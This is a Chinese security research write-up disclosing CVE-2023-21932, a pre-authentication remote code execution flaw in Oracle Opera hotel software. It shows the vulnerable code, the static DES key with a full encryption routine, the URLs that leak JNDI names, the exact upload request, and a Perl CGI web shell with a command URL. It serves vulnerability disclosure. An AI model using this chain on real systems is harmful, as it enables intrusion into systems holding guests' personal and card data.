白帽故事 · 2023年8月11日 0

利用操作顺序漏洞实现 Oracle Opera RCE

本文为“代码审计”相关领域,阅读本文大概需10分钟。

背景介绍:

如果你在酒店行业工作,很可能已经见过或使用过 Oracle Opera,全球几乎所有最大的酒店/度假村连锁店都使用该软件,这个重要的软件包含了每位客人的所有 PII,包括但不限于信用卡详细信息。

通过对该软件的源代码分析,我们能够通过利用文件上传 servlet 中的操作顺序错误来实现预身份验证远程命令执行, Oracle 目前已发布关键补丁更新并将该漏洞分配编号 CVE-2023-21932。

遗憾的是,国外白帽不同意 Oracle 对这个漏洞的分类“难以利用的漏洞……”因此本文将说明为什么这个 CVE 应该被指定为 10.0 而不是 7.2 的评级,尽管 Oracle 声称,此漏洞不需要任何身份验证即可利用。

发现:

第一次遇到目标是在 2022 年参加一场现场黑客活动时,目标是美国最大的度假村之一,Oracle Opera 的登录页面就成功引起了白帽子的注意,因为它看起来就像是一些 90 年代的残存软件:

file

鉴于该软件的专业性,它可能没有引起安全研究人员社区的太多关注, Jackson T 在 2016 年发现了 Oracle Opera 中的最后一个主要严重漏洞,后被安全客社区拓展分析。

https://jackson_t.gitlab.io/oracle-opera.html

https://www.anquanke.com/post/id/85180

获得这个软件并不困难。该软件的最新版本可在 Oracle 的下载中心轻松获得,在以普通用户身份进行身份验证后即可访问,获得安装文件不需要许可证或销售电话。

分析:

在 operainternalservlets.war 中,白帽子找到了 FileReceiver 端点的 servlet 映射:


FileReceiver
/FileReceiver

此映射关联回 com.micros.opera.servlet.FileReceiver ,后者负责接收文件并将其上传到系统。

文件接收端点将以下参数作为输入:

String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));
String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));
String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));
String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));
String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));

通过以上代码你能发现漏洞吗?这是一个经典的操作顺序错误,上面的代码为 jndiname 和username 参数清理加密的有效负载,然后对其进行解密,这应该是相反的顺序,以使其有效。使用上面的代码,这两个变量可以包含我们想要的任何Payloads,而无需进行任何清理。

然后将这些参数传递给以下函数:

if (!Utility.isFileInWhiteList(jndiname, this.formsConfigIAS, username, filename, this.log)) {
      success = false;
      errorText = "Access denied to " + filename;
    }

查看 Utility.isFileInWhiteList 函数,可以看到以下逻辑:

private static final String[] envVars = new String[] { "EXPORTDIR", "REPORTS_TMP", "WEBTEMP" };

public static boolean isFileInWhiteList(String jndiName, String formsConfigIAS, String schemaName, String fileName, OperaLogger log) {
    if (log == null)
      log = GenUtils.getServletLogger("Utility"); 
    boolean ret = false;
    try {
      String envFilename = getIASEnvironmentFileName(jndiName, formsConfigIAS);
      log.finer("Env File Name [" + envFilename + "] for JNDI [" + jndiName + "]");
      if (envFilename != null && (new File(envFilename)).exists()) {
        Properties iasprop = getPropertiesFromFile(envFilename);
        if (iasprop != null)
          for (String envVar : envVars) {
            ret = isAllowedPath(iasprop.getProperty(envVar), schemaName, fileName);
            if (ret)
              break; 
          }  
      } else {
        log.severe("Environment file [" + envFilename + "] not found for JNDI [" + jndiName + "]");
      } 
    } catch (Exception exception) {}
    return ret;
  }`
上述函数中用户可控的值为 jndiName 和 schemaName ,如前所述,我们能够控制 schemaName 并且不会对此变量清理。

可以在 isAllowedPath 函数中找到构建和检查路径的逻辑:

`public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) {
    boolean ret = false;
    try {
      if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) {
        String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
        String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase();
        if (adjustedFileName.startsWith(adjustedSourcePath)) {
          ret = true;
        } else {
          throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]");
        } 
      } else {
        throw new Exception("Either path, schema or filename is null");
      } 
    } catch (Exception e) {
      e.printStackTrace();
    } 
    return ret;
  }

同样,在此函数中,我们可以控制 schemaName 和 fileName ,由于控制了 schemaName ,并在其中进行了路径遍历,所以可以将adjustedSourcePath的值设置为 D:\

String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
其中 schemaName = "foo/../../../../../"

所以 adjustedSourcePath = "D:\" ,我们的 fileName 可以是 D:\ 中的任何文件,并且允许我们将任意文件写入 D:\ 。

虽然上面描述了任意文件上传到任何位置的漏洞,但没有解释如何实现预授权命令执行,有两个主要程序可以阻止利用上述漏洞,第一个是能够加密有效字符串,第二个是 JNDI 连接名称。

幸运的是,这两个阻碍因素都可以轻松解决,JNDI连接名可以通过访问以下网址获取:

https://example.com/Operajserv/OXIServlets/CRSStatus?info=true
https://example.com/Operajserv/OXIServlets/BEInterface?info=true
https://example.com/Operajserv/OXIServlets/ExportReceiver?info=true

JNDI 名称将由这些 servlet 显示,无需任何身份验证即可访问,现在已经获得了 JNDI 名称,我们可以继续处理加密元素,因为需要向 FileReceiver servlet 提供加密字符串以实现预身份验证 RCE。

通过分析发现 Oracle Opera 使用了静态密钥来加密字符串,因此能够重新创建他们的加密过程,并将其重新用于加密任意字符串,这是利用该漏洞所必需的。详见下方代码:

public class Main {
  private static final boolean DECRYPT = false;

  private static final boolean ENCRYPT = true;

  public static final int ECB = 0;

  public static final int CBC = 1;

  private static final String SK = "bf70460e1fd03bfd";

  public static String toHex(String text) {
    String result = "";
    for (int i = 0; i < text.length(); i++) {
      String hexValue = Integer.toHexString(text.charAt(i));
      if (hexValue.length() == 1)
        hexValue = "0" + hexValue; 
      result = result + hexValue;
    } 
    return result;
  }

  public static String fromHex(String text) {
    String result = "";
    for (int i = 0; i < text.length(); i += 2) {
      char c;
      String hexValue = text.substring(i, i + 2);
      try {
        c = (char)Integer.parseInt(hexValue, 16);
      } catch (Exception e) {
        c = '*';
      } 
      result = result + c;
    } 
    return result;
  }

  private int[] createKeys(String key) {
    int[][] pc2bytes = { 
        { 
          0, 4, 536870912, 536870916, 65536, 65540, 536936448, 536936452, 512, 516, 
          536871424, 536871428, 66048, 66052, 536936960, 536936964 }, { 
          0, 1, 1048576, 1048577, 67108864, 67108865, 68157440, 68157441, 256, 257, 
          1048832, 1048833, 67109120, 67109121, 68157696, 68157697 }, { 
          0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272, 0, 8, 
          2048, 2056, 16777216, 16777224, 16779264, 16779272 }, { 
          0, 2097152, 134217728, 136314880, 8192, 2105344, 134225920, 136323072, 131072, 2228224, 
          134348800, 136445952, 139264, 2236416, 134356992, 136454144 }, { 
          0, 262144, 16, 262160, 0, 262144, 16, 262160, 4096, 266240, 
          4112, 266256, 4096, 266240, 4112, 266256 }, { 
          0, 1024, 32, 1056, 0, 1024, 32, 1056, 33554432, 33555456, 
          33554464, 33555488, 33554432, 33555456, 33554464, 33555488 }, { 
          0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746, 0, 268435456, 
          524288, 268959744, 2, 268435458, 524290, 268959746 }, { 
          0, 65536, 2048, 67584, 536870912, 536936448, 536872960, 536938496, 131072, 196608, 
          133120, 198656, 537001984, 537067520, 537004032, 537069568 }, { 
          0, 262144, 0, 262144, 2, 262146, 2, 262146, 33554432, 33816576, 
          33554432, 33816576, 33554434, 33816578, 33554434, 33816578 }, { 
          0, 268435456, 8, 268435464, 0, 268435456, 8, 268435464, 1024, 268436480, 
          1032, 268436488, 1024, 268436480, 1032, 268436488 }, 
        { 
          0, 32, 0, 32, 1048576, 1048608, 1048576, 1048608, 8192, 8224, 
          8192, 8224, 1056768, 1056800, 1056768, 1056800 }, { 
          0, 16777216, 512, 16777728, 2097152, 18874368, 2097664, 18874880, 67108864, 83886080, 
          67109376, 83886592, 69206016, 85983232, 69206528, 85983744 }, { 
          0, 4096, 134217728, 134221824, 524288, 528384, 134742016, 134746112, 16, 4112, 
          134217744, 134221840, 524304, 528400, 134742032, 134746128 }, { 
          0, 4, 256, 260, 0, 4, 256, 260, 1, 5, 
          257, 261, 1, 5, 257, 261 } };
    int iterations = (key.length() >= 24) ? 3 : 1;
    int[] keys = new int[32 * iterations];
    boolean[] shifts = { 
        false, false, true, true, true, true, true, true, false, true, 
        true, true, true, true, true, false };
    int m = 0, n = 0;
    for (int j = 0; j < iterations; j++) {
      int left = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);
      int right = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);
      int temp = (left >>> 4 ^ right) & 0xF0F0F0F;
      right ^= temp;
      left ^= temp << 4;
      temp = (right >>> -16 ^ left) & 0xFFFF;
      left ^= temp;
      right ^= temp << -16;
      temp = (left >>> 2 ^ right) & 0x33333333;
      right ^= temp;
      left ^= temp << 2;
      temp = (right >>> -16 ^ left) & 0xFFFF;
      left ^= temp;
      right ^= temp << -16;
      temp = (left >>> 1 ^ right) & 0x55555555;
      right ^= temp;
      left ^= temp << 1;
      temp = (right >>> 8 ^ left) & 0xFF00FF;
      left ^= temp;
      right ^= temp << 8;
      temp = (left >>> 1 ^ right) & 0x55555555;
      right ^= temp;
      left ^= temp << 1;
      temp = left << 8 | right >>> 20 & 0xF0;
      left = right << 24 | right << 8 & 0xFF0000 | right >>> 8 & 0xFF00 | right >>> 24 & 0xF0;
      right = temp;
      for (int i = 0; i < shifts.length; i++) {
        if (shifts[i]) {
          left = left << 2 | left >>> 26;
          right = right << 2 | right >>> 26;
        } else {
          left = left << 1 | left >>> 27;
          right = right << 1 | right >>> 27;
        } 
        left &= 0xFFFFFFF0;
        right &= 0xFFFFFFF0;
        int lefttemp = pc2bytes[0][left >>> 28] | pc2bytes[1][left >>> 24 & 0xF] | pc2bytes[2][left >>> 20 & 0xF] | pc2bytes[3][left >>> 16 & 0xF] | pc2bytes[4][left >>> 12 & 0xF] | pc2bytes[5][left >>> 8 & 0xF] | pc2bytes[6][left >>> 4 & 0xF];
        int righttemp = pc2bytes[7][right >>> 28] | pc2bytes[8][right >>> 24 & 0xF] | pc2bytes[9][right >>> 20 & 0xF] | pc2bytes[10][right >>> 16 & 0xF] | pc2bytes[11][right >>> 12 & 0xF] | pc2bytes[12][right >>> 8 & 0xF] | pc2bytes[13][right >>> 4 & 0xF];
        temp = (righttemp >>> 16 ^ lefttemp) & 0xFFFF;
        keys[n++] = lefttemp ^ temp;
        keys[n++] = righttemp ^ temp << 16;
      } 
    } 
    return keys;
  }

  private String[] des(String key, String message, boolean encrypt, int mode, String iv) {
    int looping[], iterations, spfunction[][] = { { 
          16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 1024, 16843776, 
          16843780, 1024, 16778244, 16842756, 16777216, 4, 1028, 16778240, 16778240, 66560, 
          66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 1028, 
          66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024, 
          16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564, 16843780, 65540, 
          16842752, 16778244, 16777220, 1028, 66564, 16843776, 1028, 16778240, 16778240, 0, 
          65540, 66560, 0, 16842756 }, { 
          -2146402272, -2147450880, 32768, 1081376, 1048576, 32, -2146435040, -2147450848, -2147483616, -2146402272, 
          -2146402304, Integer.MIN_VALUE, -2147450880, 1048576, 32, -2146435040, 1081344, 1048608, -2147450848, 0, 
          Integer.MIN_VALUE, 32768, 1081376, -2146435072, 1048608, -2147483616, 0, 1081344, 32800, -2146402304, 
          -2146435072, 32800, 0, 1081376, -2146435040, 1048576, -2147450848, -2146435072, -2146402304, 32768, 
          -2146435072, -2147450880, 32, -2146402272, 1081376, 32, 32768, Integer.MIN_VALUE, 32800, -2146402304, 
          1048576, -2147483616, 1048608, -2147450848, -2147483616, 1048608, 1081344, 0, -2147450880, 32800, 
          Integer.MIN_VALUE, -2146435040, -2146402272, 1081344 }, { 
          520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736, 
          134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 512, 
          131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320, 
          512, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0, 
          512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808, 134218248, 131072, 
          134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800, 
          131592, 8, 134348808, 131584 }, { 
          8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193, 0, 8396800, 
          8396800, 8396929, 129, 0, 8388736, 8388609, 1, 8192, 8388608, 8396801, 
          128, 8388608, 8193, 8320, 8388737, 1, 8320, 8388736, 8192, 8396928, 
          8396929, 129, 8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800, 
          8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128, 8396929, 129, 
          1, 8192, 8388609, 8193, 8396928, 8388737, 8193, 8320, 8388608, 8396801, 
          128, 8388608, 8192, 8396928 }, { 
          256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720, 1074266368, 524288, 
          33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824, 33554432, 1074266112, 1074266112, 0, 
          1073742080, 1107820800, 1107820800, 33554688, 1107820544, 1073742080, 0, 1107296256, 34078976, 33554432, 
          1107296256, 524544, 524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368, 
          33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544, 1107820800, 524544, 
          1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256, 524544, 33554688, 1073742080, 524288, 
          0, 1074266112, 34078976, 1073742080 }, { 
          536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304, 536887296, 4210704, 
          4194304, 536870928, 4194320, 536887296, 536870912, 16400, 0, 4194320, 536887312, 16384, 
          4210688, 536887312, 16, 541065232, 541065232, 0, 4210704, 541081600, 16400, 4210688, 
          541081600, 536870912, 536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928, 
          4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216, 4210704, 541081600, 
          0, 541065232, 16, 16384, 541065216, 4210704, 16384, 4194320, 536887312, 0, 
          541081600, 536870912, 4194320, 536887312 }, { 
          2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064, 69208066, 2097152, 
          0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 2097154, 67110912, 
          67108866, 69206016, 69208064, 2097154, 69206016, 2048, 2050, 69208066, 2099200, 2, 
          67108864, 2099200, 67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2, 
          2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064, 2050, 67108866, 
          69208066, 69206016, 2099200, 0, 2, 69208066, 0, 2099202, 69206016, 2048, 
          67108866, 67110912, 2048, 2097154 }, { 
          268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456, 262208, 268697600, 
          268701760, 266240, 268701696, 266304, 4096, 64, 268697600, 268435520, 268439552, 4160, 
          266240, 262208, 268697664, 268701696, 4160, 0, 0, 268697664, 268435520, 268439552, 
          266304, 262144, 266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304, 
          268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616, 0, 268701760, 
          262208, 268435520, 268697600, 268439552, 268439616, 0, 268701760, 266240, 266240, 4160, 
          4160, 262208, 268435456, 268701696 } };
    for (; key.length() < 8; key = key + key);
    if (mode == 1)
      for (; iv.length() < 8; iv = iv + iv); 
    int[] keys = createKeys(key);
    int m = 0;
    int cbcleft = 0, cbcleft2 = 0, cbcright = 0, cbcright2 = 0, chunk = 0;
    int tempcount = 0;
    int len = 8 - message.length() % 8;
    if (len == 8)
      len = 0; 
    int i;
    for (i = 0; i < len; i++)
      message = message + "\000"; 
    len = message.length();
    i = (len > 505) ? 2 : 1;
    String[] result = new String[message.length() / 8 + i];
    for (i = 0; i < result.length; ) {
      result[i] = "";
      i++;
    } 
    if (keys.length == 32) {
      iterations = 3;
    } else {
      iterations = 9;
    } 
    if (iterations == 3) {
      looping = new int[3];
      if (encrypt) {
        looping[0] = 0;
        looping[1] = 32;
        looping[2] = 2;
      } else {
        looping[0] = 30;
        looping[1] = -2;
        looping[2] = -2;
      } 
    } else {
      looping = new int[9];
      if (encrypt) {
        looping[0] = 0;
        looping[1] = 32;
        looping[2] = 2;
        looping[3] = 62;
        looping[4] = 30;
        looping[5] = -2;
        looping[6] = 64;
        looping[7] = 96;
        looping[8] = 2;
      } else {
        looping[0] = 94;
        looping[1] = 62;
        looping[2] = -2;
        looping[3] = 32;
        looping[4] = 64;
        looping[5] = 2;
        looping[6] = 30;
        looping[7] = -2;
        looping[8] = -2;
      } 
    } 
    if (mode == 1) {
      cbcleft = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);
      cbcright = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);
      m = 0;
    } 
    while (m < len) {
      int left = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);
      int right = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);
      if (mode == 1)
        if (encrypt) {
          left ^= cbcleft;
          right ^= cbcright;
        } else {
          cbcleft2 = cbcleft;
          cbcright2 = cbcright;
          cbcleft = left;
          cbcright = right;
        }  
      int temp = (left >>> 4 ^ right) & 0xF0F0F0F;
      right ^= temp;
      left ^= temp << 4;
      temp = (left >>> 16 ^ right) & 0xFFFF;
      right ^= temp;
      left ^= temp << 16;
      temp = (right >>> 2 ^ left) & 0x33333333;
      left ^= temp;
      right ^= temp << 2;
      temp = (right >>> 8 ^ left) & 0xFF00FF;
      left ^= temp;
      right ^= temp << 8;
      temp = (left >>> 1 ^ right) & 0x55555555;
      right ^= temp;
      left ^= temp << 1;
      left = left << 1 | left >>> 31;
      right = right << 1 | right >>> 31;
      for (int j = 0; j < iterations; j += 3) {
        int endloop = looping[j + 1];
        int loopinc = looping[j + 2];
        for (i = looping[j]; i != endloop; i += loopinc) {
          int right1 = right ^ keys[i];
          int right2 = (right >>> 4 | right << 28) ^ keys[i + 1];
          temp = left;
          left = right;
          right = temp ^ (spfunction[1][right1 >>> 24 & 0x3F] | spfunction[3][right1 >>> 16 & 0x3F] | spfunction[5][right1 >>> 8 & 0x3F] | spfunction[7][right1 & 0x3F] | spfunction[0][right2 >>> 24 & 0x3F] | spfunction[2][right2 >>> 16 & 0x3F] | spfunction[4][right2 >>> 8 & 0x3F] | spfunction[6][right2 & 0x3F]);
        } 
        temp = left;
        left = right;
        right = temp;
      } 
      left = left >>> 1 | left << 31;
      right = right >>> 1 | right << 31;
      temp = (left >>> 1 ^ right) & 0x55555555;
      right ^= temp;
      left ^= temp << 1;
      temp = (right >>> 8 ^ left) & 0xFF00FF;
      left ^= temp;
      right ^= temp << 8;
      temp = (right >>> 2 ^ left) & 0x33333333;
      left ^= temp;
      right ^= temp << 2;
      temp = (left >>> 16 ^ right) & 0xFFFF;
      right ^= temp;
      left ^= temp << 16;
      temp = (left >>> 4 ^ right) & 0xF0F0F0F;
      right ^= temp;
      left ^= temp << 4;
      if (mode == 1)
        if (encrypt) {
          cbcleft = left;
          cbcright = right;
        } else {
          left ^= cbcleft2;
          right ^= cbcright2;
        }  
      result[result.length - 1] = result[result.length - 1] + (char)(left >>> 24);
      result[result.length - 1] = result[result.length - 1] + (char)(left >>> 16 & 0xFF);
      result[result.length - 1] = result[result.length - 1] + (char)(left >>> 8 & 0xFF);
      result[result.length - 1] = result[result.length - 1] + (char)(left & 0xFF);
      result[result.length - 1] = result[result.length - 1] + (char)(right >>> 24);
      result[result.length - 1] = result[result.length - 1] + (char)(right >>> 16 & 0xFF);
      result[result.length - 1] = result[result.length - 1] + (char)(right >>> 8 & 0xFF);
      result[result.length - 1] = result[result.length - 1] + (char)(right & 0xFF);
      result[tempcount++] = result[result.length - 1];
      chunk += 8;
      if (chunk == 512) {
        result[result.length - 1] = result[result.length - 1] + result[tempcount++];
        chunk = 0;
      } 
    } 
    if (!encrypt)
      result[result.length - 1] = result[result.length - 1].trim(); 
    return result;
  }

  public String desEncrypt(String key, String message, int mode, String iv) {
    String[] result = des(key, message, true, mode, iv);
    return result[result.length - 1];
  }

  public String[] desEncryptStep(String key, String message, int mode, String iv) {
    return des(key, message, true, mode, iv);
  }

  public String desDecrypt(String key, String message, int mode, String iv) {
    String[] result = des(key, message, false, mode, iv);
    return result[result.length - 1];
  }

  public String[] desDecryptStep(String key, String message, int mode, String iv) {
    return des(key, message, false, mode, iv);
  }

  public static String encrypt(String msg) {
    String ret = "";
    Main des = new Main();
    if (msg != null && msg.length() != 0)
      ret = toHex(des.desEncrypt("bf70460e1fd03bfd", msg, 0, "")); 
    return ret;
  }

  public static String decrypt(String msg) {
    String ret = "";
    Main des = new Main();
    if (msg != null && msg.length() != 0)
      ret = des.desDecrypt("bf70460e1fd03bfd", fromHex(msg), 0, ""); 
    return ret;
  }

  public static String encrypt(String key, String msg, int mode, String iv) {
    String ret = "";
    Main des = new Main();
    if (msg != null && msg.length() != 0)
      ret = toHex(des.desEncrypt(key, msg, mode, iv)); 
    return ret;
  }

  public static String decrypt(String key, String msg, int mode, String iv) {
    String ret = "";
    Main des = new Main();
    if (msg != null && msg.length() != 0)
      ret = des.desDecrypt(key, fromHex(msg), mode, iv); 
    return ret;
  }
   public static void main(String args[]) {
  // jndi name
  System.out.println(encrypt("oxiopradigds"));
  // username
  System.out.println(encrypt("foo/../../../../../"));
   }

}

运行上方代码将会输出以下内容:

java -classpath .:/run_dir/junit-4.12.jar:target/dependency/* Main

// jndi name

0c919bc95270f6921e102ab8ae52e497

// username (with path traversal)

f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25

用于将任意文件上传到 D:\ 目录的最终Payload可以在下面找到,此 HTTP 请求会将 CGI web shell 上传到本地文件系统:

POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON&copytoexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1
Host: example.com
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 588
Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dc
Connection: close

#!\ORA\MWFR\11gappr2\perl\bin\perl.exe

use strict;

print "Cache-Control: no-cache\n";
print "Content-type: text/html\n\n";

my $req = $ENV{QUERY_STRING};
  chomp ($req);
  $req =~ s/%20/ /g; 
  $req =~ s/%3b/;/g;

print "<html><body>";

print '<!-- Simple CGI backdoor by DK (http://michaeldaw.org) -->';

  if (!$req) {
    print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd";
  }
  else {
    print "Executing: $req";
  }

  print "<pre>";
  my @cmd = `$req`;
  print "</pre>";

  foreach my $line (@cmd) {
    print $line . "<br/>";
  }

print "</body></html>";

Web Shell 可在以下位置访问:

https://example.com/operabin/80088941a432b4458e492b7686a88da6.cgi?type%20C:\Windows\win.ini

file

如上所述,无需任何特殊访问或授权即可进行 RCE,利用此漏洞执行的所有步骤均未进行任何身份验证,此漏洞的 CVSS 评分应为 10.0。

当然,Oracle Opera 中还有大量的其它漏洞,其中一些目前仍未解决。所以请永远不要将其暴露在互联网上。

以上研究由 Shubham Shah、Sean Yeoh、Brendan Scarvell 和 Jason Haddix 共同完成。希望你能有所收获!